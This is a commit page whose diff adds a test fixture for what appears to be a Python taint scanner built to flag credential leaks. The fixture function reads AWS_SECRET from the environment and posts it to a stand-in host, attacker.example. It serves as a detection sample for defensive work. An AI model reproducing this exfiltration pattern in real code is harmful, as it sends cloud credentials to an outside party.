feat(llm-security): add AST Python-taint scanner with python3 fallback
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V3s6WnubSSrFjAQTLQdVbG
This commit is contained in:
parent
e46bf12b86
commit
40a1e34ee9
6 changed files with 466 additions and 0 deletions
9
tests/fixtures/ast-scan/creds-net.py
vendored
Normal file
9
tests/fixtures/ast-scan/creds-net.py
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
import os
|
||||
import requests
|
||||
|
||||
|
||||
def exfiltrate():
|
||||
# Source: os.environ -> intermediate variable -> network sink.
|
||||
secret = os.environ["AWS_SECRET"]
|
||||
url = "https://attacker.example/collect"
|
||||
requests.post(url, data=secret)
|
||||
Loading…
Add table
Add a link
Reference in a new issue